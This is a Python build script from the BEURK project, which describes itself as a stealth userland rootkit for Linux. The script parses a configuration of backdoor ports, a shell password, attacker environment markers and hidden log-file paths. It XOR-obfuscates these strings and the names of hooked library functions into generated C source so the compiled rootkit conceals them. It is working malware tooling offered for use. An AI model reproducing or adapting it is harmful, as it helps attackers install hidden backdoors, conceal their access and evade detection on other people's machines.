#!/usr/bin/env python2

# reconfigure beurk rootkit, given a configuration file
# (beurk.conf by default).
# this script is called by the provided Makefile.

import sys
import os
import re
import commands
from glob import glob
import ast

from pprint import pprint # debug


def help():
    """display usage help message and exit
    """
    print("Usage: %s <config-file>" % sys.argv[0])
    sys.exit(1)

def abort(msg):
    """abort builder with given error message
    """
    sys.exit("%s: *** %s ***" % (sys.argv[0], msg))

def fatal_error(msg):
    """abort with fatal error.
    it means that something is missing in builder's code
    and something MUST be patched
    """
    sys.exit("%s: fatal error: %s" % (sys.argv[0], msg))

if len(sys.argv) != 2:
    help()


###############################################################################
### parse config file and beurk env vars

# special types for config var values
def type_str(v):
    try:
        res = str(ast.literal_eval(v))
    except:
        res = str(v)
    return res

def type_bool(v):
    assert v.lower() in ["true", "false"]
    return True if v.lower() == "true" else False

def type_int(v):
    return int(v)

def type_hexbyte(v):
    v = int(v, 16)
    assert -1 < v < 0x100
    return v

# the list of config keys (with their associated expected type)
CONFIG_KEYS = {
        "LIBRARY_NAME": type_str,
        "INFECT_DIR": type_str,
        "DEBUG_LEVEL": type_int,
        "DEBUG_FILE": type_str,
        "XOR_KEY": type_hexbyte,
        "MAGIC_STRING": type_str,
        "PAM_USER": type_str,
        "LOW_BACKDOOR_PORT": type_int,
        "HIGH_BACKDOOR_PORT": type_int,
        "SHELL_PASSWORD": type_str,
        "SHELL_MOTD": type_str,
        "SHELL_TYPE": type_str,
        "_ENV_IS_ATTACKER": type_str,
        "_ENV_NO_HISTFILE": type_str,
        "_ENV_XTERM": type_str,
        "HIDDEN_ENV_VAR": type_str,
        "_UTMP_FILE": type_str,
        "_WTMP_FILE": type_str,
        "PROC_PATH": type_str,
        "MAX_LEN": type_int,
        "ENV_LINE": type_str,
        "PROC_NET_TCP": type_str,
        "PROC_NET_TCP6": type_str,
        "SCANF_PROC_NET_TCP": type_str,
        }

def get_config(lines, check_missing_vars=True):
    result = {}
    for lineno, line in enumerate(lines, 1):
        line = line.strip()
        if not line or line.startswith("#"):
            continue
        if '=' not in line:
            raise SyntaxError("line %d: expected key=val" % lineno)
        key, val = [x.strip() for x in line.split("=", 1)]
        if key in result.keys():
            raise SyntaxError("line %d: %r declared twice" % (lineno, key))
        if key not in CONFIG_KEYS.keys():
            raise SyntaxError("line %d: unknown key: %r" % (lineno, key))
        func_ptr = CONFIG_KEYS[key]
        try:
            val = func_ptr(val)
        except Exception as e:
            func_name = func_ptr.__name__.replace("_", " ")
            msg = "line %d: %r expects %s"
            raise SyntaxError(msg % (lineno, key, func_name))
        result[key] = val
    if check_missing_vars:
        for expected_key in CONFIG_KEYS.keys():
            if expected_key not in result.keys():
                raise SyntaxError("key %r is not defined" % expected_key)
    return result

# read config file
try:
    config_lines = open(sys.argv[1]).read().splitlines()
    config = get_config(config_lines)
except Exception as e:
    sys.stderr.write("config file error: %s:\n" % sys.argv[1])
    sys.exit("-> %s" % e)

# read beurk environment variables
for key, val in os.environ.items():
    if not key.startswith("BEURK_"):
        continue
    try:
        config.update(get_config([key[6:] + "=" + val], False))
    except SyntaxError as e:
        e = str(e)
        if e.startswith("line 1:"):
            e = e[8:]
        errmsg = "environment override error (on %r):\n"
        sys.stderr.write(errmsg % key)
        sys.exit("-> %s" % e)


###############################################################################
### chdir to project's root

ret, out = commands.getstatusoutput("git rev-parse --show-toplevel")
if ret == 0:
    os.chdir(out.strip())


###############################################################################
### parse function hooks infos from includes/hooks.h

# for each hooked function, generate `REAL_<NAME>` function pointer macro.
function_hooks = []
regex = re.compile("^(.+)\\b(\w+)\(.*\)\s*;\s*$")
header = open("includes/hooks.h").read()
header = header.replace("\\\n", "").splitlines()
header = [l for l in header if not l.startswith("#")]

for line in header:
    try:
        match = list(regex.match(line).groups())
        assert len(match) == 2
    except:
        continue
    match[0] = " ".join(match[0].split())
    function_hooks.append(match)


###############################################################################
### generate includes/config.h and src/config.c

CONFIG_H = """/*
 * BEURK is an userland rootkit for GNU/Linux, focused around stealth.
 * Copyright (C) 2015  unix-thrust
 *
 * This file is part of BEURK.
 *
 * BEURK is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * BEURK is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with BEURK.  If not, see <http://www.gnu.org/licenses/>.
 */

#pragma once

#ifndef _CONFIG_H_
# define _CONFIG_H_

# include <stdlib.h>
# include <sys/types.h> /* ssize_t */

/* fix compatibility */
#ifndef _STAT_VER
# define _STAT_VER	0
#endif

/* common macros from beurk config file */
%(common_macros)s

/* store hidden (XORed) literals */
# define NUM_LITERALS (%(num_literals)d)
# define MAX_LITERAL_SIZE (%(max_literal_size)d)
extern char __hidden_literals[NUM_LITERALS][MAX_LITERAL_SIZE];

/* store real function pointers (hooks fallbacks) */
# define NUM_HOOKS (%(num_hooks)d)
ssize_t (*__non_hooked_symbols[NUM_HOOKS])();

/* hidden literals and function pointers */
%(literals_macros)s

#endif /* _CONFIG_H_ */
"""

CONFIG_C = """/*
 * BEURK is an userland rootkit for GNU/Linux, focused around stealth.
 * Copyright (C) 2015  unix-thrust
 *
 * This file is part of BEURK.
 *
 * BEURK is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * BEURK is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with BEURK.  If not, see <http://www.gnu.org/licenses/>.
 */

#include "config.h"

 char __hidden_literals[NUM_LITERALS][MAX_LITERAL_SIZE] = {
    %(literals)s
};

"""


# add all config vars to header (common_macros)
# (except for type_str and type_hidden_literal)
common_macros = ""
macro_tpl = "#define %(key)s (%(value)s)\n"
for key, _type in CONFIG_KEYS.items():
    if _type == type_str:
        continue
    value = config[key]
    if _type == type_int:
        pass
    elif _type == type_hexbyte:
        value = hex(value)
    elif _type == type_bool:
        value = int(value)
    else:
        fatal_error("no determined action for %r" %  _type.__name__)
    common_macros += macro_tpl % {"key": key, "value": value}


# add hidden literals to config.h
def xor(string, key):
    """xor (obfuscate) given string with XOR_KEY config var
    """
    result = "{"
    for char in string:
        result += "%s, " % hex(ord(char) ^ key)
    result += "0x00},"
    return result

xor_key = 0x00 if config["DEBUG_LEVEL"] else config["XOR_KEY"]

literals = []
max_literal_size = 0
num_literals = 0

# add `hidden_literal` types to the list of literals
literals_macros = []
macro_tpl = "#define %s ((char * const)(__hidden_literals[%d]))"
for key, _type in CONFIG_KEYS.items():
    if _type != type_str:
        continue
    value = config[key]
    literals.append(xor(value, xor_key))
    literals_macros.append(macro_tpl % (key, num_literals))
    max_literal_size = max(max_literal_size, len(value))
    num_literals += 1

# add `function_hooks` names to the list of literals
macro_tpl = "#define REAL_%s(args...) ((%s)((__non_hooked_symbols[%d])(args)))"
num_hooks = 0
for _type, name in function_hooks:
    literals.append(xor(name, xor_key))
    literals_macros.append(macro_tpl % (name.upper(), _type, num_hooks))
    max_literal_size = max(max_literal_size, len(name))
    num_literals += 1
    num_hooks += 1
max_literal_size += 1

CONFIG_H %= {
        "common_macros": common_macros,
        "max_literal_size": max_literal_size + 1,
        "num_literals": num_literals,
        "num_hooks": len(function_hooks),
        "literals_macros": "\n".join(literals_macros),
        }

CONFIG_C %= {
        "literals": "\n    ".join(literals),
        }


###############################################################################
### check dependencies

def check_lib_dependencies(*checklibs):
    """test current system for BEURK dependencies
    """
    deps = {"libpam": "security/pam_appl.h",
            "libssl": "openssl/sha.h",
            "libpcap": "pcap/pcap.h"}
    include_path = [
            "/usr/include",
            "/usr/local/include"]
    missing_deps = 0

    for dep, header in deps.items():
        if dep not in checklibs:
            continue
        for include_dir in include_path:
            header_path = os.path.join(include_dir, header)
            if os.path.isfile(header_path):
                break
        else:
            msg = "Dependency not satisfied: %s-dev (header files)."
            sys.stderr.write("%s\n" % msg % dep)
            missing_deps += 1
    return False if missing_deps else True

checklibs = []
checklibs.append("libpcap")
checklibs.append("libpam")
checklibs.append("libssl")

if not check_lib_dependencies(*checklibs):
    abort("missing dependencies")

###############################################################################
### generate includes/config.h and src/config.c

def update_file(filename, content):
    if os.path.isfile(filename):
        with open(filename) as file:
            old_content = file.read()
        action = "updated"
    else:
        old_content = ""
        action = "created"
    if old_content != content:
        open(filename, 'w').write(content)
        print("%s: %r correctly %s" % (sys.argv[0], filename, action))

# write CONFIG_H into includes/config.h
update_file("includes/config.h", CONFIG_H)
# write CONFIG_C into src/config.c
update_file("src/config.c", CONFIG_C)
